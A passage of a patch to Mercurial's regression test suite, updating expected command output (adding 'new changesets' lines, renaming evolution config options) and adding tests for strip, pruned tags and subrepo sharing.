+  | |  parent:      1:eca11cf91c71
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  summary:     bar
+  | |
+  o |  changeset:   3:f62c6c09b707
+  | |  branch:      new-branch
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  summary:     foo
+  | |
+  o |  changeset:   2:b1d33a8cadd9
+  |/   branch:      new-branch
+  |    user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    summary:     start new branch
+  |
+  o  changeset:   1:eca11cf91c71
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     commitB
+  |
+  o  changeset:   0:105141ef12d0
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     commitA
+  
+
+  $ hg strip -r 35358f982181
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  saved backup bundle to $TESTTMP/issue4736/.hg/strip-backup/35358f982181-a6f020aa-backup.hg (glob)
+  $ hg log -G
+  @  changeset:   3:f62c6c09b707
+  |  branch:      new-branch
+  |  tag:         tip
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     foo
+  |
+  o  changeset:   2:b1d33a8cadd9
+  |  branch:      new-branch
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     start new branch
+  |
+  o  changeset:   1:eca11cf91c71
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     commitB
+  |
+  o  changeset:   0:105141ef12d0
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     commitA
+  
+
+  $ hg pull -u $TESTTMP/issue4736/.hg/strip-backup/35358f982181-a6f020aa-backup.hg
+  pulling from $TESTTMP/issue4736/.hg/strip-backup/35358f982181-a6f020aa-backup.hg (glob)
+  searching for changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 2 changesets with 1 changes to 1 files
+  new changesets 35358f982181:4cf5e92caec2
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+
+  $ hg strip -k -r 35358f982181
+  saved backup bundle to $TESTTMP/issue4736/.hg/strip-backup/35358f982181-a6f020aa-backup.hg (glob)
+  $ hg log -G
+  @  changeset:   3:f62c6c09b707
+  |  branch:      new-branch
+  |  tag:         tip
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     foo
+  |
+  o  changeset:   2:b1d33a8cadd9
+  |  branch:      new-branch
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     start new branch
+  |
+  o  changeset:   1:eca11cf91c71
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     commitB
+  |
+  o  changeset:   0:105141ef12d0
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     commitA
+  
+  $ hg diff
+  diff -r f62c6c09b707 bar.txt
+  --- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+  +++ b/bar.txt	Thu Jan 01 00:00:00 1970 +0000
+  @@ -0,0 +1,1 @@
+  +bar
+
 Use delayedstrip to strip inside a transaction
 
   $ cd $TESTTMP
@@ -961,8 +1171,12 @@
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ echo 3 >> I
   $ cat > $TESTTMP/delayedstrip.py <<EOF
-  > from mercurial import repair, commands
-  > def reposetup(ui, repo):
+  > from __future__ import absolute_import
+  > from mercurial import commands, registrar, repair
+  > cmdtable = {}
+  > command = registrar.command(cmdtable)
+  > @command('testdelayedstrip')
+  > def testdelayedstrip(ui, repo):
   >     def getnodes(expr):
   >         return [repo.changelog.node(r) for r in repo.revs(expr)]
   >     with repo.wlock():
@@ -972,10 +1186,10 @@
   >                 repair.delayedstrip(ui, repo, getnodes('G+H+Z'), 'I')
   >                 commands.commit(ui, repo, message='J', date='0 0')
   > EOF
-  $ hg log -r . -T '\n' --config extensions.t=$TESTTMP/delayedstrip.py
+  $ hg testdelayedstrip --config extensions.t=$TESTTMP/delayedstrip.py
   warning: orphaned descendants detected, not stripping 08ebfeb61bac, 112478962961, 7fb047a69f22
   saved backup bundle to $TESTTMP/delayedstrip/.hg/strip-backup/f585351a92f8-17475721-I.hg (glob)
-  
+
   $ hg log -G -T '{rev}:{node|short} {desc}' -r 'sort(all(), topo)'
   @  6:2f2d51af6205 J
   |
@@ -1008,8 +1222,11 @@
   $ cp -R . ../scmutilcleanup.obsstore
 
   $ cat > $TESTTMP/scmutilcleanup.py <<EOF
-  > from mercurial import scmutil
-  > def reposetup(ui, repo):
+  > from mercurial import registrar, scmutil
+  > cmdtable = {}
+  > command = registrar.command(cmdtable)
+  > @command('testnodescleanup')
+  > def testnodescleanup(ui, repo):
   >     def nodes(expr):
   >         return [repo.changelog.node(r) for r in repo.revs(expr)]
   >     def node(expr):
@@ -1023,10 +1240,10 @@
   >                 scmutil.cleanupnodes(repo, mapping, 'replace')
   >                 scmutil.cleanupnodes(repo, nodes('((B::)+I+Z)-D2'), 'replace')
   > EOF
-  $ hg log -r . -T '\n' --config extensions.t=$TESTTMP/scmutilcleanup.py
+  $ hg testnodescleanup --config extensions.t=$TESTTMP/scmutilcleanup.py
   warning: orphaned descendants detected, not stripping 112478962961, 1fc8102cda62, 26805aba1e60
   saved backup bundle to $TESTTMP/scmutilcleanup/.hg/strip-backup/f585351a92f8-73fb7c03-replace.hg (glob)
-  
+
   $ hg log -G -T '{rev}:{node|short} {desc} {bookmarks}' -r 'sort(all(), topo)'
   o  8:1473d4b996d1 G2 b-F@divergent3 b-G
   |
@@ -1063,12 +1280,12 @@
   $ cd $TESTTMP/scmutilcleanup.obsstore
   $ cat >> .hg/hgrc <<EOF
   > [experimental]
-  > evolution=all
+  > evolution=true
   > evolution.track-operation=1
   > EOF
 
-  $ hg log -r . -T '\n' --config extensions.t=$TESTTMP/scmutilcleanup.py
-  
+  $ hg testnodescleanup --config extensions.t=$TESTTMP/scmutilcleanup.py
+
   $ rm .hg/localtags
   $ hg log -G -T '{rev}:{node|short} {desc} {bookmarks}' -r 'sort(all(), topo)'
   o  12:1473d4b996d1 G2 b-F@divergent3 b-G
@@ -1105,17 +1322,17 @@
   $ cd issue5678
   $ cat >> .hg/hgrc <<EOF
   > [experimental]
-  > evolution=all
+  > evolution=true
   > EOF
   $ echo a > a
   $ hg ci -Aqm a
   $ hg ci --amend -m a2
   $ hg debugobsolete
-  cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 489bac576828490c0bb8d45eac9e5e172e4ec0a8 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
+  cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 489bac576828490c0bb8d45eac9e5e172e4ec0a8 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
   $ hg strip .
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
   saved backup bundle to $TESTTMP/issue5678/.hg/strip-backup/489bac576828-bef27e14-backup.hg (glob)
   $ hg unbundle -q .hg/strip-backup/*
   $ hg debugobsolete
-  cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 489bac576828490c0bb8d45eac9e5e172e4ec0a8 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
+  cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 489bac576828490c0bb8d45eac9e5e172e4ec0a8 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
   $ cd ..
diff --git a/tests/test-subrepo-deep-nested-change.t b/tests/test-subrepo-deep-nested-change.t
--- a/tests/test-subrepo-deep-nested-change.t
+++ b/tests/test-subrepo-deep-nested-change.t
@@ -104,6 +104,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 3 changes to 3 files
+  new changesets 7f491f53a367
   updating to branch default
   abort: HTTP Error 404: Not Found
   [255]
diff --git a/tests/test-subrepo-git.t b/tests/test-subrepo-git.t
--- a/tests/test-subrepo-git.t
+++ b/tests/test-subrepo-git.t
@@ -173,6 +173,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 089416c11d73
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg merge 2>/dev/null
    subrepository s diverged (local revision: 7969594, remote revision: aa84837)
@@ -885,9 +886,9 @@
   $ hg revert --all --verbose --config 'ui.origbackuppath=.hg/origbackups'
   reverting subrepo ../gitroot
   creating directory: $TESTTMP/tc/.hg/origbackups (glob)
-  saving current version of foobar as $TESTTMP/tc/.hg/origbackups/foobar.orig (glob)
+  saving current version of foobar as $TESTTMP/tc/.hg/origbackups/foobar (glob)
   $ ls .hg/origbackups
-  foobar.orig
+  foobar
   $ rm -rf .hg/origbackups
 
 show file at specific revision
diff --git a/tests/test-subrepo-missing.t b/tests/test-subrepo-missing.t
--- a/tests/test-subrepo-missing.t
+++ b/tests/test-subrepo-missing.t
@@ -76,7 +76,7 @@
   > [phases]
   > publish=False
   > [experimental]
-  > evolution=createmarkers
+  > evolution.createmarkers=True
   > EOF
 
 check that we can update parent repo with missing (amended) subrepo revision
diff --git a/tests/test-subrepo-recursion.t b/tests/test-subrepo-recursion.t
--- a/tests/test-subrepo-recursion.t
+++ b/tests/test-subrepo-recursion.t
@@ -269,6 +269,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 5 changes to 3 files
+  new changesets 23376cbba0d8:1326fa26d0c0
   updating to branch default
   cloning subrepo foo from http://localhost:$HGPORT/foo
   requesting all changes
@@ -276,12 +277,14 @@
   adding manifests
   adding file changes
   added 4 changesets with 7 changes to 3 files
+  new changesets af048e97ade2:65903cebad86
   cloning subrepo foo/bar from http://localhost:$HGPORT/foo/bar (glob)
   requesting all changes
   adding changesets
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets 4904098473f9:31ecbdafd357
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
   $ cat clone/foo/bar/z.txt
diff --git a/tests/test-subrepo-relative-path.t b/tests/test-subrepo-relative-path.t
--- a/tests/test-subrepo-relative-path.t
+++ b/tests/test-subrepo-relative-path.t
@@ -47,6 +47,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 3 changes to 3 files
+  new changesets fdfeeb3e979e
   updating to branch default
   cloning subrepo sub from http://localhost:$HGPORT/sub
   requesting all changes
@@ -54,6 +55,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 863c1745b441
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
 Checking cloned repo ids
@@ -80,6 +82,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 3 changes to 3 files
+  new changesets fdfeeb3e979e
   updating to branch default
   cloning subrepo sub from ssh://user@dummy/sub
   requesting all changes
@@ -87,6 +90,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 863c1745b441
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
   $ hg -R sshclone push -e "\"$PYTHON\" \"$TESTDIR/dummyssh\"" ssh://user@dummy/`pwd`/cloned
diff --git a/tests/test-subrepo.t b/tests/test-subrepo.t
--- a/tests/test-subrepo.t
+++ b/tests/test-subrepo.t
@@ -708,6 +708,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 925c17564ef8
   (run 'hg update' to get a working copy)
 
 should pull t
@@ -737,6 +738,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 52c0adc0515a
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
   updated to "925c17564ef8: 13"
   2 other heads for branch "default"
@@ -1053,6 +1055,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 3 changes to 2 files
+  new changesets 19487b456929:be5eb94e7215
   (run 'hg update' to get a working copy)
   $ hg -R issue1852b update
   abort: default path for subrepository not found (in subrepository "sub/repo") (glob)
@@ -1079,6 +1082,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 19487b456929
   cloning subrepo sub/repo from issue1852a/sub/repo (glob)
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -1140,6 +1144,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets c82b79fdcc5b
    subrepository sub/repo diverged (local revision: f42d5c7504a8, remote revision: 46cd4aac504c)
   (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
   pulling subrepo sub/repo from $TESTTMP/issue1852a/sub/repo (glob)
@@ -1148,6 +1153,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 46cd4aac504c
    subrepository sources for sub/repo differ (glob)
   use (l)ocal source (f42d5c7504a8) or (r)emote source (46cd4aac504c)? l
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -1175,10 +1181,32 @@
 Check that share works with subrepo
   $ hg --config extensions.share= share . ../shared
   updating working directory
-  cloning subrepo subrepo-2 from $TESTTMP/subrepo-status/subrepo-2
+  sharing subrepo subrepo-1 from $TESTTMP/subrepo-status/subrepo-1
+  sharing subrepo subrepo-2 from $TESTTMP/subrepo-status/subrepo-2
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
-  $ test -f ../shared/subrepo-1/.hg/sharedpath
-  [1]
+  $ find ../shared/* | sort
+  ../shared/subrepo-1
+  ../shared/subrepo-1/.hg
+  ../shared/subrepo-1/.hg/cache
+  ../shared/subrepo-1/.hg/cache/storehash
+  ../shared/subrepo-1/.hg/cache/storehash/* (glob)
+  ../shared/subrepo-1/.hg/hgrc
+  ../shared/subrepo-1/.hg/requires
+  ../shared/subrepo-1/.hg/sharedpath
+  ../shared/subrepo-2
+  ../shared/subrepo-2/.hg
+  ../shared/subrepo-2/.hg/branch
+  ../shared/subrepo-2/.hg/cache
+  ../shared/subrepo-2/.hg/cache/checkisexec (execbit !)
+  ../shared/subrepo-2/.hg/cache/checklink (symlink !)
+  ../shared/subrepo-2/.hg/cache/checklink-target (symlink !)
+  ../shared/subrepo-2/.hg/cache/storehash
+  ../shared/subrepo-2/.hg/cache/storehash/* (glob)
+  ../shared/subrepo-2/.hg/dirstate
+  ../shared/subrepo-2/.hg/hgrc
+  ../shared/subrepo-2/.hg/requires
+  ../shared/subrepo-2/.hg/sharedpath
+  ../shared/subrepo-2/file
   $ hg -R ../shared in
   abort: repository default not found!
   [255]
diff --git a/tests/test-symlink-os-yes-fs-no.py.out b/tests/test-symlink-os-yes-fs-no.py.out
--- a/tests/test-symlink-os-yes-fs-no.py.out
+++ b/tests/test-symlink-os-yes-fs-no.py.out
@@ -3,6 +3,7 @@
 adding manifests
 adding file changes
 added 1 changesets with 4 changes to 4 files
+new changesets d326ae2d01ee
 updating to branch default
 4 files updated, 0 files merged, 0 files removed, 0 files unresolved
 requesting all changes
@@ -10,5 +11,6 @@
 adding manifests
 adding file changes
 added 1 changesets with 4 changes to 4 files
+new changesets d326ae2d01ee
 updating to branch default
 4 files updated, 0 files merged, 0 files removed, 0 files unresolved
diff --git a/tests/test-tag.t b/tests/test-tag.t
--- a/tests/test-tag.t
+++ b/tests/test-tag.t
@@ -411,6 +411,60 @@
   abort: cannot tag null revision
   [255]
 
+issue5539: pruned tags do not appear in .hgtags
+
+  $ cat >> $HGRCPATH << EOF
+  > [experimental]
+  > evolution.exchange = True
+  > evolution.createmarkers=True
+  > EOF
+  $ hg up e4d483960b9b --quiet
+  $ echo aaa >>a
+  $ hg ci -maaa
+  $ hg log -r . -T "{node}\n"
+  743b3afd5aa69f130c246806e48ad2e699f490d2
+  $ hg tag issue5539
+  hook: tag changes detected
+  hook: +A 743b3afd5aa69f130c246806e48ad2e699f490d2 issue5539
+  $ cat .hgtags
+  acb14030fe0a21b60322c440ad2d20cf7685a376 foobar
+  a0eea09de1eeec777b46f2085260a373b2fbc293 newline
+  743b3afd5aa69f130c246806e48ad2e699f490d2 issue5539
+  $ hg log -r . -T "{node}\n"
+  abeb261f0508ecebcd345ce21e7a25112df417aa
+(mimic 'hg prune' command by obsoleting current changeset and then moving to its parent)
+  $ hg debugobsolete abeb261f0508ecebcd345ce21e7a25112df417aa --record-parents
+  obsoleted 1 changesets
+  $ hg up ".^" --quiet
+  $ cat .hgtags
+  acb14030fe0a21b60322c440ad2d20cf7685a376 foobar
+  a0eea09de1eeec777b46f2085260a373b2fbc293 newline
+  $ echo bbb >>a
+  $ hg ci -mbbb
+  $ hg log -r . -T "{node}\n"
+  089dd20da58cae34165c37b064539c6ac0c6a0dd
+  $ hg tag issue5539
+  hook: tag changes detected
+  hook: -M 743b3afd5aa69f130c246806e48ad2e699f490d2 issue5539
+  hook: +M 089dd20da58cae34165c37b064539c6ac0c6a0dd issue5539
+  $ hg id
+  0accf560a709 tip
+  $ cat .hgtags
+  acb14030fe0a21b60322c440ad2d20cf7685a376 foobar
+  a0eea09de1eeec777b46f2085260a373b2fbc293 newline
+  089dd20da58cae34165c37b064539c6ac0c6a0dd issue5539
+  $ hg tags
+  tip                               19:0accf560a709
+  issue5539                         18:089dd20da58c
+  new-topo-head                     13:0f26aaea6f74
+  baz                               13:0f26aaea6f74
+  custom-tag                        12:75a534207be6
+  tag-and-branch-same-name          11:fc93d2ea1cd7
+  newline                            9:a0eea09de1ee
+  localnewline                       8:c2899151f4e7
+  localblah                          0:acb14030fe0a
+  foobar                             0:acb14030fe0a
+
   $ cd ..
 
 tagging on an uncommitted merge (issue2542)
@@ -571,6 +625,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 6 changes to 3 files (+1 heads)
+  new changesets 9aa4e1292a27:b325cc5b642c
   hook: tag changes detected
   hook: +A 929bca7b18d067cbf3844c3896319a940059d748 t2
   hook: +A 9aa4e1292a27a248f8d07339bed9931d54907be7 t4
diff --git a/tests/test-tags.t b/tests/test-tags.t
--- a/tests/test-tags.t
+++ b/tests/test-tags.t
@@ -669,6 +669,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 4 changes to 2 files
+  new changesets 96ee1d7354c4:40f0358cb314
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -721,13 +722,13 @@
   $ hg -R tagsclient bundle --all ./test-cache-in-bundle-all-rev.hg
   4 changesets found
   $ hg debugbundle ./test-cache-in-bundle-all-rev.hg
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '4')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 4, version: 02}
       96ee1d7354c4ad7372047672c36a1f561e3a6a4c
       c4dab0c2fd337eb9191f80c3024830a4889a8f34
       f63cc8fe54e4d326f8d692805d70e092f851ddb1
       40f0358cb314c824a5929ee527308d90e023bc10
-  hgtagsfnodes -- 'sortdict()'
+  hgtagsfnodes -- {}
 
 Check that local clone includes cache data
 
diff --git a/tests/test-template-engine.t b/tests/test-template-engine.t
--- a/tests/test-template-engine.t
+++ b/tests/test-template-engine.t
@@ -10,7 +10,7 @@
   >     def process(self, t, map):
   >         tmpl = self.loader(t)
   >         for k, v in map.iteritems():
-  >             if k in ('templ', 'ctx', 'repo', 'revcache', 'cache'):
+  >             if k in ('templ', 'ctx', 'repo', 'revcache', 'cache', 'troubles'):
   >                 continue
   >             if hasattr(v, '__call__'):
   >                 v = v(**map)
diff --git a/tests/test-transplant.t b/tests/test-transplant.t
--- a/tests/test-transplant.t
+++ b/tests/test-transplant.t
@@ -262,6 +262,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets 17ab29e464c6:d11e3596cc1a
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd ../sameparent
@@ -282,6 +283,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets 17ab29e464c6:d11e3596cc1a
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd ../remote
@@ -339,6 +341,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 17ab29e464c6
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd ../rp
@@ -351,6 +354,7 @@
   added 1 changesets with 1 changes to 1 files
   applying a53251cdf717
   a53251cdf717 transplanted to 8d9279348abb
+  new changesets 37a1297eb21b:8d9279348abb
   $ hg log --template '{rev} {parents} {desc}\n'
   2  b3
   1  b1
@@ -542,6 +546,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 4 changes to 4 files
+  new changesets 17ab29e464c6:a53251cdf717
 
 test "--merge" causing pull from source repository on local host
 
@@ -555,6 +560,7 @@
   added 2 changesets with 2 changes to 2 files
   applying a53251cdf717
   4:a53251cdf717 merged at 4831f4dc831a
+  new changesets 722f4667af76:4831f4dc831a
 
 test interactive transplant
 
@@ -845,6 +851,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 07f494440405
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd binarydest
@@ -884,7 +891,7 @@
 
   $ cat > $TESTTMP/abort.py <<EOF
   > # emulate that patch.patch() is aborted at patching on "abort" file
-  > from mercurial import extensions, patch as patchmod
+  > from mercurial import error, extensions, patch as patchmod
   > def patch(orig, ui, repo, patchname,
   >           strip=1, prefix='', files=None,
   >           eolmode='strict', similarity=0):
@@ -894,7 +901,7 @@
   >         strip=strip, prefix=prefix, files=files,
   >         eolmode=eolmode, similarity=similarity)
   >     if 'abort' in files:
-  >         raise patchmod.PatchError('intentional error while patching')
+  >         raise error.PatchError('intentional error while patching')
   >     return r
   > def extsetup(ui):
   >     extensions.wrapfunction(patchmod, 'patch', patch)
diff --git a/tests/test-treediscovery-legacy.t b/tests/test-treediscovery-legacy.t
--- a/tests/test-treediscovery-legacy.t
+++ b/tests/test-treediscovery-legacy.t
@@ -155,6 +155,7 @@
   adding manifests
   adding file changes
   added 12 changesets with 24 changes to 2 files
+  new changesets d57206cc072a:a19bfa7e7328
   (run 'hg update' to get a working copy)
   $ hg incoming $remote
   comparing with http://localhost:$HGPORT/
@@ -171,6 +172,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 12 changes to 2 files
+  new changesets d57206cc072a:d8f638ac69e9
   updating to branch name2
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cp $HGRCPATH-nocap $HGRCPATH
@@ -200,6 +202,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 12 changes to 2 files
+  new changesets a7892891da29:a19bfa7e7328
   (run 'hg update' to get a working copy)
   $ hg incoming $remote
   comparing with http://localhost:$HGPORT/
@@ -258,6 +261,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 12 changes to 2 files
+  new changesets d57206cc072a:d8f638ac69e9
   updating to branch name2
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ tstart subset2
diff --git a/tests/test-treediscovery.t b/tests/test-treediscovery.t
--- a/tests/test-treediscovery.t
+++ b/tests/test-treediscovery.t
@@ -140,6 +140,7 @@
   adding manifests
   adding file changes
   added 12 changesets with 24 changes to 2 files
+  new changesets d57206cc072a:a19bfa7e7328
   (run 'hg update' to get a working copy)
   $ hg incoming $remote
   comparing with http://localhost:$HGPORT/
@@ -155,6 +156,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 12 changes to 2 files
+  new changesets d57206cc072a:d8f638ac69e9
   updating to branch name2
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg incoming $remote
@@ -183,6 +185,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 12 changes to 2 files
+  new changesets a7892891da29:a19bfa7e7328
   (run 'hg update' to get a working copy)
   $ hg incoming $remote
   comparing with http://localhost:$HGPORT/
@@ -242,6 +245,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 12 changes to 2 files
+  new changesets d57206cc072a:d8f638ac69e9
   updating to branch name2
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ tstart subset2
@@ -293,6 +297,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 12 changes to 2 files
+  new changesets d57206cc072a:d8f638ac69e9
   updating to branch name2
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd partial
@@ -318,6 +323,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 6 changes to 2 files (+1 heads)
+  new changesets a7892891da29:e71dbbc70e03
   (run 'hg heads' to see heads)
   $ hg incoming $remote
   comparing with http://localhost:$HGPORT/
@@ -364,6 +370,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 6 changes to 2 files (+1 heads)
+  new changesets a7892891da29:e71dbbc70e03
   (run 'hg heads' to see heads)
   $ hg incoming $remote
   comparing with http://localhost:$HGPORT/
@@ -400,6 +407,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 6 changes to 2 files (+1 heads)
+  new changesets a7892891da29:e71dbbc70e03
   (run 'hg heads' to see heads)
   $ hg push $remote --new-branch
   pushing to http://localhost:$HGPORT/
@@ -453,6 +461,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets d8f638ac69e9
   (run 'hg update' to get a working copy)
   $ hg incoming $remote
   comparing with http://localhost:$HGPORT/
@@ -484,6 +493,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets d8f638ac69e9
   (run 'hg update' to get a working copy)
   $ hg push $remote --new-branch
   pushing to http://localhost:$HGPORT/
@@ -520,7 +530,7 @@
   "GET /?cmd=heads HTTP/1.1" 200 - x-hgproto-1:0.1 0.2 comp=zstd,zlib,none,bzip2
   "GET /?cmd=branches HTTP/1.1" 200 - x-hgarg-1:nodes=d8f638ac69e9ae8dea4f09f11d696546a912d961 x-hgproto-1:0.1 0.2 comp=zstd,zlib,none,bzip2
   "GET /?cmd=between HTTP/1.1" 200 - x-hgarg-1:pairs=d8f638ac69e9ae8dea4f09f11d696546a912d961-d57206cc072a18317c1e381fb60aa31bd3401785 x-hgproto-1:0.1 0.2 comp=zstd,zlib,none,bzip2
-  "GET /?cmd=changegroupsubset HTTP/1.1" 200 - x-hgarg-1:bases=d8f638ac69e9ae8dea4f09f11d696546a912d961&heads=d8f638ac69e9ae8dea4f09f11d696546a912d961 x-hgproto-1:0.1 0.2 comp=zstd,zlib,none,bzip2
+  "GET /?cmd=changegroupsubset HTTP/1.1" 200 - x-hgarg-1:bases=d8f638ac69e9ae8dea4f09f11d696546a912d961&heads=d8f638ac69e9ae8dea4f09f11d696546a912d961+2c8d5d5ec612be65cdfdeac78b7662ab1696324a x-hgproto-1:0.1 0.2 comp=zstd,zlib,none,bzip2
   "GET /?cmd=listkeys HTTP/1.1" 200 - x-hgarg-1:namespace=phases x-hgproto-1:0.1 0.2 comp=zstd,zlib,none,bzip2
   "GET /?cmd=capabilities HTTP/1.1" 200 -
   "GET /?cmd=heads HTTP/1.1" 200 - x-hgproto-1:0.1 0.2 comp=zstd,zlib,none,bzip2
@@ -552,7 +562,7 @@
   "GET /?cmd=heads HTTP/1.1" 200 - x-hgproto-1:0.1 0.2 comp=zlib,none,bzip2
   "GET /?cmd=branches HTTP/1.1" 200 - x-hgarg-1:nodes=d8f638ac69e9ae8dea4f09f11d696546a912d961 x-hgproto-1:0.1 0.2 comp=zlib,none,bzip2
   "GET /?cmd=between HTTP/1.1" 200 - x-hgarg-1:pairs=d8f638ac69e9ae8dea4f09f11d696546a912d961-d57206cc072a18317c1e381fb60aa31bd3401785 x-hgproto-1:0.1 0.2 comp=zlib,none,bzip2
-  "GET /?cmd=changegroupsubset HTTP/1.1" 200 - x-hgarg-1:bases=d8f638ac69e9ae8dea4f09f11d696546a912d961&heads=d8f638ac69e9ae8dea4f09f11d696546a912d961 x-hgproto-1:0.1 0.2 comp=zlib,none,bzip2
+  "GET /?cmd=changegroupsubset HTTP/1.1" 200 - x-hgarg-1:bases=d8f638ac69e9ae8dea4f09f11d696546a912d961&heads=d8f638ac69e9ae8dea4f09f11d696546a912d961+2c8d5d5ec612be65cdfdeac78b7662ab1696324a x-hgproto-1:0.1 0.2 comp=zlib,none,bzip2
   "GET /?cmd=listkeys HTTP/1.1" 200 - x-hgarg-1:namespace=phases x-hgproto-1:0.1 0.2 comp=zlib,none,bzip2
   "GET /?cmd=capabilities HTTP/1.1" 200 -
   "GET /?cmd=heads HTTP/1.1" 200 - x-hgproto-1:0.1 0.2 comp=zlib,none,bzip2
diff --git a/tests/test-treemanifest.t b/tests/test-treemanifest.t
--- a/tests/test-treemanifest.t
+++ b/tests/test-treemanifest.t
@@ -232,6 +232,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 14 changes to 11 files
+  new changesets 5b02a3e8db7e:581ef6037d8b
   updating to branch default
   11 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd repo-mixed
@@ -342,6 +343,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 51cfd7b1e13b
   (run 'hg update' to get a working copy)
   $ hg --config extensions.strip= strip tip
   saved backup bundle to $TESTTMP/repo-mixed/.hg/strip-backup/*-backup.hg (glob)
@@ -654,6 +656,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 18 changes to 8 files
+  new changesets 775704be6f52:523e5c631710
   updating to branch default
   8 files updated, 0 files merged, 0 files removed, 0 files unresolved
 No server errors.
@@ -700,6 +703,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 18 changes to 8 files
+  new changesets 775704be6f52:523e5c631710
   updating to branch default
   8 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd deeprepo-basicstore
@@ -716,6 +720,7 @@
   adding manifests
   adding file changes
